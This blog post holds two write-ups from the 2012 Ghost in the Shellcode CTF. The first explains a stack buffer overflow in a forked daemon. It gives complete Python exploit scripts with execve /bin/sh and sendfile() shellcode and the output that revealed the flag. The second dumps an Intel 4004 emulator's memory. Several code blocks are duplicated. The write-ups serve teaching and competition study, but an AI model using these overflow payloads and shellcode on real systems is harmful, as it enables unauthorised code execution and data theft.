29Jan/12Off
GiTS 2012 KimJongUnd Write-Up
Stage 13
Question: KimJongUnd
We lost many time on this exploitation challenge for many reasons.
The vulnerability is when you input the command line after the password, there is a buffer overflow and you can control EIP.
Our buffer is on the stack so we spend some time finding a nice ROP gadget like this one:
.text:08048850 55 push ebp
.text:08048851 89 E5 mov ebp, esp
.text:08048853 FF E4 jmp esp
We have around 50 bytes available. Since we are in a forked daemon using socket we will first go for a shellcode that will read the command from the socket and output back to the socket.
#!/usr/bin/env python
import socket
import sys
import time
if len(sys.argv) != 3:
print '\nUsage:\t./kim.py [host] [port]'
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating Socket
s.connect((host, port)) # Connecting to socket
crash = '\x90' * 524
crash += '\x50\x88\x04\x08'
crash += '\x31\xc9\x31\xdb\xb3\x04\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5'
crash += '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'
crash += " exec cat key\n"
crash += '\x01' * 300 # NOP Sled 25 bytes
s.send('HansBrix!!!\n');
s.send('%s\n' %crash); # Sending Evil buffer (ShellCode)
while 1:
line = s.recv(4096)
if not line:
break
print 'Received', repr(line)
s.close()
import socket
import sys
import time
if len(sys.argv) != 3:
print '\nUsage:\t./kim.py [host] [port]'
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating Socket
s.connect((host, port)) # Connecting to socket
crash = '\x90' * 524
crash += '\x50\x88\x04\x08'
crash += '\x31\xc9\x31\xdb\xb3\x04\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5'
crash += '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'
crash += " exec cat key\n"
crash += '\x01' * 300 # NOP Sled 25 bytes
s.send('HansBrix!!!\n');
s.send('%s\n' %crash); # Sending Evil buffer (ShellCode)
while 1:
line = s.recv(4096)
if not line:
break
print 'Received', repr(line)
s.close()
But this is a decoy... after investigating, a mount -o bind has been done after the daemon has been started and is obscuring the true content of the key.
So this solve this challenge, we need to notice that, at start, the daemon open a file description to the key. This file descriptor relates to the true key file and is stored in a very convenient global variable.
.text:08048B67 8B 5D 08 mov ebx, [ebp+fd]
.text:08048B6A C7 44 24 04 00 00 00 00 mov dword ptr [esp+4], 0 ; oflag
.text:08048B72 C7 04 24 11 90 04 08 mov dword ptr [esp], offset file ; "/home/kimjongun/key"
.text:08048B79 E8 6E FA FF FF call _open
.bss:0804B0A4 ; int fd
.bss:0804B0A4 ?? ?? ?? ?? fd dd ? ; DATA XREF: sub_8048860+1C
Where to send the content of this file ? To the open socket of course, which is in a global variable as well:
.bss:0804B0A0 ?? ?? ?? ?? dword_804B0A0 dd ? ; DATA XREF: sub_8048B60+2D
Given the limited space available, I went with a custom shellcode using the kernel syscall sendfile():
[SECTION .text]
global _start
jmp short ender
_start:
xor eax, eax ;clean up the registers
mov [esp], eax
mov al, 0xbb ; sendfile() syscall
mov ecx, [0x804B0A0] ; out-fd
mov ebx, [0x804B0A4] ; in-fd
mov edx, esp ; *offset
mov esi, 256 ; size
int 0x80
xor eax, eax
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
ender:
call _start
dd 0
A little trick, we need to ask sendfile() to start from offset 0 of the file, otherwise it will only work the first time.
Python code to send payload:
#!/usr/bin/env python
import socket
import sys
import time
if len(sys.argv) != 3:
print '\nUsage:\t./kim.py [host] [port]'
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating Socket
s.connect((host, port)) # Connecting to socket
crash = '\x90' * 524
crash += '\x50\x88\x04\x08'
crash += '\xeb\x24\x31\xc0\x89\x04\x24\xb0\xbb\x8b\x0d\xa0\xb0\x04\x08\x8b\x1d\xa4\xb0\x04\x08\x89\xe2\xbe\x00\x01\x00\x00\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xd7\xff\xff\xff\x00\x00'
s.send('HansBrix!!!\n');
s.send('%s\n' %crash); # Sending Evil buffer (ShellCode)
while 1:
line = s.recv(4096)
if not line:
break
print 'Received', repr(line)
s.close()
import socket
import sys
import time
if len(sys.argv) != 3:
print '\nUsage:\t./kim.py [host] [port]'
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating Socket
s.connect((host, port)) # Connecting to socket
crash = '\x90' * 524
crash += '\x50\x88\x04\x08'
crash += '\xeb\x24\x31\xc0\x89\x04\x24\xb0\xbb\x8b\x0d\xa0\xb0\x04\x08\x8b\x1d\xa4\xb0\x04\x08\x89\xe2\xbe\x00\x01\x00\x00\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xd7\xff\xff\xff\x00\x00'
s.send('HansBrix!!!\n');
s.send('%s\n' %crash); # Sending Evil buffer (ShellCode)
while 1:
line = s.recv(4096)
if not line:
break
print 'Received', repr(line)
s.close()
Result:
$ python kim4.py kimjongun.final2012.ghostintheshellcode.com 2645
Received 'Password: '
Received 'Welcome shitty wok, may a taka oda prez?\n'
Received 'Goddamn Mongorians! Quit breakin down my shitty wall!!!\n!All_Hail_Fearress_Reader!\n'
Key: !All_Hail_Fearress_Reader!
29Jan/12Off
GiTS 2012 In-memory 4004 Write-up
In this challenge, we have connect to a service running on port 4004 :
$ nc inmemory.final2012.ghostintheshellcode.com 4004
Written in memory of a great microprocessor.
Waiting for program...
Too slow!
Written in memory of a great microprocessor.
Waiting for program...
Too slow!
great microprocessor.. port 4004.. waiting for program... Could this be an Intel 4004 emulator ?
Checking the documentation for the Intel 4004 we see it had a 4096 bytes PROM so we send 4096 bytes down the down and indeed:
Written in memory of a great microprocessor
Waiting for program...
Loading program onto PROM...
Executing program...
Cycle limit reached!
Exiting...
Waiting for program...
Loading program onto PROM...
Executing program...
Cycle limit reached!
Exiting...
In-memory.. so it probably means the key is in the memory of the emulator. We use http://e4004.szyc.org/ a lot to design some code that will scan all the memory and send it to the ROM port.
Intel 4004 code:
init
LDM 0
DCL
FIM R0R1, 0 ; initialize R0=R1=0
FIM R2R3, 0 ; initialize R2=R3=0
LDM 12 ; load 12 to accumulator
XCH R2 ; initialize R2=12
loop1
SRC R0R1 ; select register & address
RDM ; load accumulator from RAM
WRR ; write accumulator to ROM port
ISZ R1, loop1 ; loop 16 times
ISZ R0, loop1
ISZ R2, loop1 ; loop 4 times
LDM 0
DCL
FIM R0R1, 0 ; initialize R0=R1=0
FIM R2R3, 0 ; initialize R2=R3=0
LDM 12 ; load 12 to accumulator
XCH R2 ; initialize R2=12
loop1
SRC R0R1 ; select register & address
RDM ; load accumulator from RAM
WRR ; write accumulator to ROM port
ISZ R1, loop1 ; loop 16 times
ISZ R0, loop1
ISZ R2, loop1 ; loop 4 times
We use the assembler on the website to get the object code and we send this using a simple python program:
#!/usr/bin/env python
# aXs ^ Big-Daddy
import socket
import sys
import time
if len(sys.argv) != 3:
print '\nUsage:\t./inmemory.py [host] [port]'
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating Socket
s.connect((host, port)) # Connecting to socket
data = s.recv(65536)
print 'Received', repr(data)
data = s.recv(65536)
print 'Received', repr(data)
crash = '\xD0\xFD\x20\x00\x22\x00\xDC\xB2\x21\xE9\xE2\x71\x08\x70\x08\x72\x08'
crash += '\x00' * (4096 - len(crash))
s.send('%s' %crash);
while 1:
line = s.recv(4096)
if not line:
break
print 'Received', repr(line)
s.close()
The emulator was *very* unreliable on the challenge service and you needed to run your like 20 times.
Result:
$ python inmemory.py inmemory.final2012.ghostintheshellcode.com 4004
Received 'Written in memory of a great microprocessor.\n'
Received 'Waiting for program...\n'
Received 'Loading program onto PROM...\n'
Received 'Executing program...\n
500000000000000040000000000000006000000000000000f0000000000000006000000000000000
c0000000000000006000000000000000400000000000000050000000000000009000000000000000
6000000000000000f000000000000000700000000000000050000000000000004000000000000000
9000000000000000500000000000000040000000000000006000000000000000f000000000000000
6000000000000000c000000000000000600000000000000040000000000000005000000000000000
90000000000000006000000000000000f00000000000000070000000000000005000000000000000
40000000000000009000000000000000500000000000000040000000000000006000000000000000
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000
500000000000000090000000000000006000000000000000f0000000000000007000000000000000
50000000000000004000000000000000900000000000000050000000000000004000000000000000
6000000000000000f0000000000000006000000000000000c0000000000000006000000000000000
4000000000000000500000000000000090000000000000006000000000000000f000000000000000
70000000000000005000000000000000400000000000000090000000000000005000000000000000
40000000000000006000000000000000f0000000000000006000000000000000c000000000000000
60000000000000004000000000000000500000000000000090000000000000006000000000000000
f0000000000000007000000000000000500000000000000040000000000000009000000000000000
500000000000000040000000000000006000000000000000f0000000000000006000000000000000
c0000000000000006000000000000000400000000000000050000000000000009000000000000000
6000000000000000f000000000000000700000000000000050000000000000004000000000000000
9000000000000000500000000000000040000000000000006000000000000000f000000000000000
6000000000000000c000000000000000600000000000000040000000000000005000000000000000
90000000000000006000000000000000f00000000000000070000000000000005000000000000000
40000000000000009000000000000000500000000000000040000000000000006000000000000000
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000
500000000000000090000000000000006000000000000000f0000000000000007000000000000000
500000000000000040000000000000009000000000000000
Cycle limit reached!
Exiting...
Received 'Written in memory of a great microprocessor.\n'
Received 'Waiting for program...\n'
Received 'Loading program onto PROM...\n'
Received 'Executing program...\n
500000000000000040000000000000006000000000000000f0000000000000006000000000000000
c0000000000000006000000000000000400000000000000050000000000000009000000000000000
6000000000000000f000000000000000700000000000000050000000000000004000000000000000
9000000000000000500000000000000040000000000000006000000000000000f000000000000000
6000000000000000c000000000000000600000000000000040000000000000005000000000000000
90000000000000006000000000000000f00000000000000070000000000000005000000000000000
40000000000000009000000000000000500000000000000040000000000000006000000000000000
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000
500000000000000090000000000000006000000000000000f0000000000000007000000000000000
50000000000000004000000000000000900000000000000050000000000000004000000000000000
6000000000000000f0000000000000006000000000000000c0000000000000006000000000000000
4000000000000000500000000000000090000000000000006000000000000000f000000000000000
70000000000000005000000000000000400000000000000090000000000000005000000000000000
40000000000000006000000000000000f0000000000000006000000000000000c000000000000000
60000000000000004000000000000000500000000000000090000000000000006000000000000000
f0000000000000007000000000000000500000000000000040000000000000009000000000000000
500000000000000040000000000000006000000000000000f0000000000000006000000000000000
c0000000000000006000000000000000400000000000000050000000000000009000000000000000
6000000000000000f000000000000000700000000000000050000000000000004000000000000000
9000000000000000500000000000000040000000000000006000000000000000f000000000000000
6000000000000000c000000000000000600000000000000040000000000000005000000000000000
90000000000000006000000000000000f00000000000000070000000000000005000000000000000
40000000000000009000000000000000500000000000000040000000000000006000000000000000
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000
500000000000000090000000000000006000000000000000f0000000000000007000000000000000
500000000000000040000000000000009000000000000000
Cycle limit reached!
Exiting...
You need to rerun it with the top LDM changed to 1 so switch to another RAM bank.
The pattern is repeated several times: 546f6c64596f7549546f6c64596f7 = ToldYouI
You keep converting until you have the full key assembled from all the RAM memory regions
Key: ToldYouItWasInMemory